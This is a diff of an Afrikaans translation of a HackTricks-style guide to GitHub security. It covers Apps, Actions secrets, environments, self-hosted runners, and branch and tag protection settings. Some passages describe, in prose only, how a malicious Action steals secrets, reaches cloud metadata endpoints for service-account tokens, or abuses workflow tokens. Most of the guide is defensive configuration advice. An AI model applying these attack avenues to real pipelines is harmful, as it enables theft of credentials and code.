+- **Meer** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
-### Github Toepassings
+### Github Applications
-Github toepassings kan om toestemmings te vra om **toegang tot jou github inligting of om jou na te boots** om spesifieke aksies oor spesifieke hulpbronne uit te voer. In Github Apps moet jy die repositories spesifiseer waartoe die app toegang sal hê.
+Github applications kan vra vir permissies om **jou github-inligting te benader of jou te impersonate** om spesifieke aksies oor spesifieke bronne uit te voer. In Github Apps moet jy die repositories spesifiseer waartoe die app toegang sal hê.
-- Om 'n GitHub App te installeer, moet jy 'n **organisasie-eienaar wees of admin toestemmings** in 'n repository hê.
-- Die GitHub App moet **verbinde met 'n persoonlike rekening of 'n organisasie**.
-- Jy kan jou eie Github toepassing in [https://github.com/settings/apps](https://github.com/settings/apps) skep.
-- Jy kan al die **Github toepassings wat toegang tot jou rekening het** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) sien.
-- Dit is die **API Eindpunte vir Github Toepassings** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Afhangende van die toestemmings van die App sal dit in staat wees om sommige van hulle te benader.
-- Jy kan geïnstalleerde apps in 'n **organisasie** in _https://github.com/organizations/\/settings/installations_ sien.
+- Om 'n GitHub App te installeer, moet jy 'n **organisation owner of admin permissions** in 'n repository wees.
+- Die GitHub App moet **koppel aan 'n personal account of 'n organisation**.
+- Jy kan jou eie Github application skep in [https://github.com/settings/apps](https://github.com/settings/apps)
+- Jy kan al die **Github applications wat toegang tot jou rekening het** sien in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- Dit is die **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Afhangend van die permissies van die App sal dit in staat wees om sommige van hulle te benader
+- Jy kan geïnstalleerde apps in 'n **organization** sien in _https://github.com/organizations/\/settings/installations_
Sommige sekuriteitsaanbevelings:
-- 'n GitHub App moet **aksies onafhanklik van 'n gebruiker neem** (tenzij die app 'n [gebruiker-naar-bediener](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token gebruik). Om gebruiker-naar-bediener toegangstokens veiliger te hou, kan jy toegangstokens gebruik wat na 8 uur verval, en 'n verfrissingstoken wat vir 'n nuwe toegangstoken omgeruil kan word. Vir meer inligting, sien "[Verfrissing van gebruiker-naar-bediener toegangstokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- 'n GitHub App moet **aksies onafhanklik van 'n gebruiker neem** (tensy die app 'n [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token gebruik). Om user-to-server access tokens meer veilig te hou, kan jy toegangstokens gebruik wat na 8 uur verval, en 'n refresh token wat uitgeruil kan word vir 'n nuwe access token. Vir meer inligting, sien "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Maak seker die GitHub App integreer met **spesifieke repositories**.
-- Die GitHub App moet **verbinde met 'n persoonlike rekening of 'n organisasie**.
+- Die GitHub App moet **koppel aan 'n personal account of 'n organisation**.
- Moet nie verwag dat die GitHub App alles weet en doen wat 'n gebruiker kan nie.
-- **Moet nie 'n GitHub App gebruik as jy net 'n "Aanmeld met GitHub" diens nodig het nie**. Maar 'n GitHub App kan 'n [gebruiker identifikasievloei](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) gebruik om gebruikers in te log en ander dinge te doen.
-- Moet nie 'n GitHub App bou as jy _net_ wil optree as 'n GitHub gebruiker en alles doen wat daardie gebruiker kan doen nie.
-- As jy jou app met GitHub Actions gebruik en workflow lêers wil wysig, moet jy namens die gebruiker verifieer met 'n OAuth token wat die `workflow` skop insluit. Die gebruiker moet admin of skryf toestemming hê tot die repository wat die workflow lêer bevat. Vir meer inligting, sien "[Begrip van skoppe vir OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **Meer** in [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- **Moet nie** 'n GitHub App gebruik as jy net 'n "Login with GitHub" diens nodig het nie. Maar 'n GitHub App kan 'n [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) gebruik om gebruikers aan te meld _en_ ander dinge te doen.
+- Moet nie 'n GitHub App bou as jy _slegs_ as 'n GitHub user wil optree en alles wil doen wat daardie gebruiker kan doen nie.
+- As jy jou app met GitHub Actions gebruik en workflow-lêers wil wysig, moet jy namens die gebruiker autentiseer met 'n OAuth token wat die `workflow` scope insluit. Die gebruiker moet admin of write-permissie hê tot die repository wat die workflow-lêer bevat. Vir meer inligting, sien "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- **Meer** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
-Dit **is nie 'n manier om in github te verifieer nie**, maar 'n **kwaadwillige** Github Action kan **ongemagtigde toegang tot github** verkry en **afhangende** van die **privileges** wat aan die Action gegee word, kan verskeie **verskillende aanvalle** uitgevoer word. Sien hieronder vir meer inligting.
+Dit **is nie 'n manier om in github te autentiseer nie**, maar 'n **kwaadwillige** Github Action kan **ongemagtigde toegang tot github kry** en, afhangend van die **privileges** wat aan die Action gegee word, kan verskeie **verskillende aanvalle** uitgevoer word. Sien hieronder vir meer inligting.
-## Git Aksies
+## Git Actions
-Git aksies laat toe om die **uitvoering van kode te outomatiseer wanneer 'n gebeurtenis plaasvind**. Gewoonlik is die kode wat uitgevoer word **op een of ander manier verwant aan die kode van die repository** (miskien 'n docker houer bou of kyk of die PR nie geheime bevat nie).
+Git actions laat toe om die **uitvoering van kode te outomatiseer wanneer 'n gebeurtenis plaasvind**. Gewoonlik is die kode wat uitgevoer word **op een of ander manier verwant aan die kode van die repository** (byvoorbeeld om 'n docker container te bou of te kontroleer dat die PR nie geheimenhede bevat nie).
### Konfigurasie
-In _https://github.com/organizations/\/settings/actions_ is dit moontlik om die **konfigurasie van die github actions** vir die organisasie te kontroleer.
+In _https://github.com/organizations/\/settings/actions_ is dit moontlik om die **konfigurasie van die github actions** vir die organization te kontroleer.
-Dit is moontlik om die gebruik van github actions heeltemal te verbied, **alle github actions toe te laat**, of net sekere aksies toe te laat.
+Dit is moontlik om die gebruik van github actions heeltemal te verbied, **alle github actions toe te laat**, of net sekere actions toe te laat.
-Dit is ook moontlik om te konfigureer **wie goedkeuring benodig om 'n Github Action te laat loop** en die **toestemmings van die GITHUB_TOKEN** van 'n Github Action wanneer dit uitgevoer word.
+Dit is ook moontlik om te konfigureer **wie goedkeuring benodig om 'n Github Action te laat loop** en die **permissies van die GITHUB_TOKEN** van 'n Github Action wanneer dit uitgevoer word.
-### Git Geheimen
+### Git Secrets
-Github Action benodig gewoonlik 'n soort geheim om met github of derdeparty toepassings te kommunikeer. Om **te verhoed dat hulle in duidelike teks** in die repo geplaas word, laat github toe om hulle as **Geheime** te plaas.
+Github Action benodig gewoonlik sekere soort geheime om met github of derdeparty-toepassings te kommunikeer. Om te **voorkom dat hulle in duidelike teks in die repo geplaas word**, laat github toe om hulle as **Secrets** te stoor.
-Hierdie geheime kan **vir die repo of vir die hele organisasie** geconfigureer word. Dan, om die **Action toegang tot die geheim te gee**, moet jy dit soos volg verklaar:
+Hierdie secrets kan **vir die repo of vir die hele organization** gekonfigureer word. Dan, sodat die **Action die secret kan benader**, moet jy dit verklaar soos:
```yaml
steps:
- name: Hello world action
@@ -168,82 +168,102 @@ run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
-> Geheime **kan slegs vanaf die Github Actions** wat dit verklaar, toegang verkry.
+> Secrets **kan slegs vanaf die Github Actions verkry word** wat dit gedeklarer het.
-> Sodra dit in die repo of die organisasies geconfigureer is, **sal gebruikers van github nie weer toegang tot hulle hê nie**, hulle sal net in staat wees om **hulle te verander**.
+> Sodra dit in die repo of die organisasie gekonfigureer is, **sal gebruikers van github dit nie weer kan toegang kry nie**, hulle sal net in staat wees om dit te **verander**.
-Daarom is die **enige manier om github geheime te steel, om toegang te hê tot die masjien wat die Github Action uitvoer** (in daardie scenario sal jy slegs toegang hê tot die geheime wat vir die Action verklaar is).
+Daarom is die **enigste manier om github secrets te steel om toegang tot die masjien te kry wat die Github Action uitvoer** (in daardie scenario sal jy slegs toegang hê tot die secrets wat vir die Action gedefinieer is).
-### Git Omgewings
+### Git Environments
-Github laat toe om **omgewings** te skep waar jy **geheime** kan stoor. Dan kan jy die github action toegang gee tot die geheime binne die omgewing met iets soos:
+Github laat toe om **environments** te skep waar jy **secrets** kan stoor. Dan kan jy die github action toegang gee tot die secrets binne die environment met iets soos:
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
```
-U kan 'n omgewing konfigureer om **toegang** te hê tot **alle takke** (standaard), **slegs beskermde** takke of **spesifiseer** watter takke toegang kan hê.\
-Dit kan ook 'n **aantal vereiste hersienings** stel voordat 'n **aksie** met 'n **omgewing** uitgevoer word of **wag** 'n **tyd** voordat ontplooiings voortgaan.
+Jy kan 'n omgewing konfigureer sodat dit deur **alle branches** (default), **slegs beskermde** branches of deur **spesifiseer** watter branches toegang tot dit het.\
+Verder sluit omgewingsbeskerming in:
+- **Required reviewers**: hou gate jobs wat op die omgewing gemik is totdat dit goedgekeur is. Skakel **Prevent self-review** aan om 'n behoorlike vier‑oë‑beginsel op die goedkeuring self af te dwing.
+- **Deployment branches and tags**: beperk watter branches/tags na die omgewing kan deploy. Kies by voorkeur spesifieke branches/tags en verseker dat daardie branches beskerm is. Nota: die "Protected branches only" opsie geld vir klassieke branch protections en mag nie soos verwag werk as jy rulesets gebruik nie.
+- **Wait timer**: vertraag deployments vir 'n konfigureerbare periode.
+Dit kan ook 'n **aantal vereiste resensies** stel voordat 'n **action** wat 'n **omgewing** gebruik, **uitgevoer** word of eers 'n **tyd** te **wag** voordat deployments toegelaat word om voort te gaan.
### Git Action Runner
-'n Github Aksie kan **binne die github omgewing uitgevoer word** of kan uitgevoer word in 'n **derdeparty-infrastruktuur** wat deur die gebruiker gekonfigureer is.
+'n Github Action kan **binne die Github-omgewing uitgevoer word** of in 'n **derdeparty‑infrastruktuur** wat deur die gebruiker gekonfigureer is.
-Verskeie organisasies sal toelaat dat Github Aksies in 'n **derdeparty-infrastruktuur** uitgevoer word, aangesien dit gewoonlik **goedkoper** is.
+Verskeie organisasies sal toelaat om Github Actions in 'n **derdeparty‑infrastruktuur** te laat loop aangesien dit dikwels **goedkoper** is.
-U kan die **self-gehoste runners** van 'n organisasie lys in _https://github.com/organizations/\/settings/actions/runners_
+Jy kan die **self-hosted runners** van 'n organisasie lys in _https://github.com/organizations/\/settings/actions/runners_
-Die manier om te vind watter **Github Aksies in nie-github infrastruktuur uitgevoer word** is om te soek na `runs-on: self-hosted` in die Github Aksie konfigurasie yaml.
+Die manier om te vind watter **Github Actions in nie-Github‑infrastruktuur uitgevoer word** is om vir `runs-on: self-hosted` in die Github Action-konfigurasie yaml te soek.
-Dit is **nie moontlik om 'n Github Aksie van 'n organisasie binne 'n self-gehoste boks** van 'n ander organisasie uit te voer nie, omdat **'n unieke token vir die Runner gegenereer word** wanneer dit gekonfigureer word om te weet waar die runner behoort.
+Dit is **nie moontlik om 'n Github Action van een organisasie binne 'n self hosted box van 'n ander organisasie te laat loop nie**, omdat **'n unieke token gegenereer word vir die Runner** wanneer dit geconfigureer word sodat dit weet waar die runner behoort.
-As die persoonlike **Github Runner in 'n masjien binne AWS of GCP** gekonfigureer is, kan die Aksie **toegang hê tot die metadata-eindpunt** en **die token van die diensrekening** wat die masjien gebruik, **steel**.
+As die aangepaste **Github Runner op 'n masjien binne AWS of GCP** byvoorbeeld gekonfigureer is, kan die Action **toegang hê tot die metadata endpoint** en **die token van die service account** steel waarmee die masjien loop.
### Git Action Compromise
-As alle aksies (of 'n kwaadwillige aksie) toegelaat word, kan 'n gebruiker 'n **Github aksie** gebruik wat **kwaadwillig** is en die **houer** waar dit uitgevoer word, **kompromitteer**.
+As alle actions (of 'n kwaadwillige action) toegelaat word, kan 'n gebruiker 'n **Github action** gebruik wat **kwaadwillig** is en die **kontainer** waarin dit uitgevoer word, **kompromiseer**.
> [!CAUTION]
-> 'n **Kwaadwillige Github Aksie** kan **misbruik** word deur die aanvaller om:
+> 'n **Kwaadwillige Github Action** run kan deur die aanvaller **misbruik** word om:
>
-> - **Al die geheime** wat die Aksie toegang het, te **steel**
-> - **Lateraal te beweeg** as die Aksie binne 'n **derdeparty-infrastruktuur** uitgevoer word waar die SA-token wat gebruik word om die masjien te laat loop, toegang kan verkry (waarskynlik via die metadata-diens)
-> - **Die token** wat deur die **werkvloei** gebruik word, te **misbruik** om die kode van die repo waar die Aksie uitgevoer word, te **steel** of **selfs dit te wysig**.
+> - **Steal all the secrets** waartoe die Action toegang het
+> - **Move laterally** indien die Action binne 'n **derdeparty‑infrastruktuur** uitgevoer word waar die SA token wat gebruik word om die masjien te bedryf, bekom kan word (waarskynlik via die metadata service)
+> - **Abuse the token** wat deur die **workflow** gebruik word om **die kode van die repo** waar die Action uitgevoer word te **steel** of **selfs te wysig**.
-## Takbeskermings
+## Takbeskerming
-Takbeskermings is ontwerp om **nie volledige beheer oor 'n repo** aan die gebruikers te gee nie. Die doel is om **verskeie beskermingsmetodes te plaas voordat daar geskryf kan word in 'n sekere tak**.
+Takbeskermings is ontwerp om gebruikers nie die volle beheer oor 'n repository te gee nie. Die doel is om verskeie beskermingsmetodes in plek te hê voordat iemand kode in 'n tak kan skryf.
-Die **takbeskermings van 'n repo** kan gevind word in _https://github.com/\/\/settings/branches_
+Die **takbeskerming van 'n repository** kan gevind word by _https://github.com/\/\/settings/branches_
> [!NOTE]
-> Dit is **nie moontlik om 'n takbeskerming op organisasievlak in te stel** nie. So, al hierdie moet op elke repo verklaar word.
+> Dit is **nie moontlik om 'n takbeskerming op organisasie‑vlak te stel nie**. Dus moet dit op elke repo verklaar word.
-Verskillende beskermings kan op 'n tak toegepas word (soos op meester):
+Verskeie beskermings kan op 'n tak toegepas word (bv. op master):
-- U kan **'n PR vereis voordat dit saamgevoeg word** (so u kan nie direk kode oor die tak saamvoeg nie). As dit gekies word, kan verskillende ander beskermings in plek wees:
-- **Vereis 'n aantal goedkeuringe**. Dit is baie algemeen om 1 of 2 meer mense te vereis om u PR goed te keur sodat 'n enkele gebruiker nie in staat is om kode direk saam te voeg nie.
-- **Verwerp goedkeuringe wanneer nuwe verbintenisse gestuur word**. As nie, kan 'n gebruiker wettige kode goedkeur en dan kan die gebruiker kwaadwillige kode byvoeg en dit saamvoeg.
-- **Vereis hersienings van Kode-eienaars**. Ten minste 1 kode-eienaar van die repo moet die PR goedkeur (sodat "ewekansige" gebruikers dit nie kan goedkeur nie)
-- **Beperk wie kan pull request hersienings verwerp.** U kan mense of spanne spesifiseer wat toegelaat word om pull request hersienings te verwerp.
-- **Laat gespesifiseerde akteurs toe om pull request vereistes te omseil**. Hierdie gebruikers sal in staat wees om vorige beperkings te omseil.
-- **Vereis status kontroles om te slaag voordat dit saamgevoeg word.** Sommige kontroles moet slaag voordat die verbintenis saamgevoeg kan word (soos 'n github aksie wat kyk of daar nie enige duidelike teks geheim is nie).
-- **Vereis gesprekresolusie voordat dit saamgevoeg word**. Alle kommentaar op die kode moet opgelos word voordat die PR saamgevoeg kan word.
-- **Vereis geskrewe verbintenisse**. Die verbintenisse moet geskrewe wees.
-- **Vereis lineêre geskiedenis.** Voorkom dat saamvoegverbintenisse na ooreenstemmende takke gestuur word.
-- **Sluit administrateurs in**. As dit nie ingestel is nie, kan administrateurs die beperkings omseil.
-- **Beperk wie kan na ooreenstemmende takke druk**. Beperk wie 'n PR kan stuur.
+- Jy kan **require a PR before merging** (sodat jy nie direk kode na die tak kan merge nie). As dit gekies is kan verskeie ander beskermings geaktiveer wees:
+- **Require a number of approvals**. Dit is algemeen om 1 of 2 ander mense te vereis om jou PR goed te keur sodat 'n enkele gebruiker nie direk kode kan merge nie.
+- **Dismiss approvals when new commits are pushed**. Indien nie, kan 'n gebruiker aanvanklik legitime kode goedkeur en later kwaadwillige veranderinge byvoeg en merge.
+- **Require approval of the most recent reviewable push**. Verseker dat enige nuwe commits ná 'n goedkeuring (insluitend pushes deur ander medewerkers) die hersiening heraktiveer sodat 'n aanvaller nie post‑goedkeuring veranderinge kan push en merge nie.
+- **Require reviews from Code Owners**. Ten minste 1 code owner van die repo moet die PR goedkeur (sodat "lukraak" gebruikers dit nie kan goedkeur nie)
+- **Restrict who can dismiss pull request reviews.** Jy kan persone of spanne spesifiseer wat pull request‑resensies mag intrek.
+- **Allow specified actors to bypass pull request requirements**. Hierdie gebruikers sal vorige beperkings kan omseil.
+- **Require status checks to pass before merging.** Sekere checks moet slaag voordat die commit gemerge kan word (bv. 'n GitHub App wat SAST‑resultate rapporteer). Wenke: bind vereiste checks aan 'n spesifieke GitHub App; anders kan enige app die check spoog via die Checks API, en baie bots aanvaar skip‑direktiewe (bv. "@bot-name skip").
+- **Require conversation resolution before merging**. Alle kommentaar op die kode moet opgelos wees voordat die PR gemerge kan word.
+- **Require signed commits**. Die commits moet onderteken wees.
+- **Require linear history.** Voorkom dat merge commits na ooreenstemmende takke gepus word.
+- **Include administrators**. As dit nie gestel is nie, kan admins die beperkings omseil.
+- **Restrict who can push to matching branches**. Beperk wie na ooreenstemmende takke kan push.
> [!NOTE]
-> Soos u kan sien, selfs al het u daarin geslaag om 'n paar akrediteerbare inligting van 'n gebruiker te verkry, **kan repos beskerm word wat u verhoed om kode na meester te druk** om byvoorbeeld die CI/CD-pyplyn te kompromitteer.
+> Soos jy kan sien, selfs al kry jy sommige gebruikersbewyse, **mag repos beskerm wees sodat jy nie kode na master kan push** byvoorbeeld om die CI/CD‑pyplyn te kompromitteer.
-## Verwysings
+## Tagbeskerming
+
+Tags (bv. latest, stable) is standaard veranderlik. Om 'n vier‑oë‑proses op tag‑opdaterings af te dwing, beskerm tags en koppel beskermings deur omgewings en takke:
+
+1) Op die tag‑beskermingsreël, skakel **Require deployments to succeed** aan en vereis 'n suksesvolle deployment na 'n beskermde omgewing (bv. prod).
+2) In die teiken‑omgewing, beperk **Deployment branches and tags** tot die release‑tak (bv. main) en konfigureer opsioneel **Required reviewers** met **Prevent self-review**.
+3) Op die release‑tak, konfigureer takbeskerming om **Require a pull request** te vereis, stel goedkeurings op ≥ 1, en skakel beide **Dismiss approvals when new commits are pushed** en **Require approval of the most recent reviewable push** aan.
+
+Hierdie ketting voorkom dat 'n enkele medewerker release tags herbemerk of geforseer publiseer deur workflow YAML te wysig, aangesien deployment‑hekke buite workflows afgedwing word.
+
+## References
- [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
- [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
- [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
- [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
+- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
+- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
+- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../banners/hacktricks-training.md}}
.png)
.png)
.png)
.png)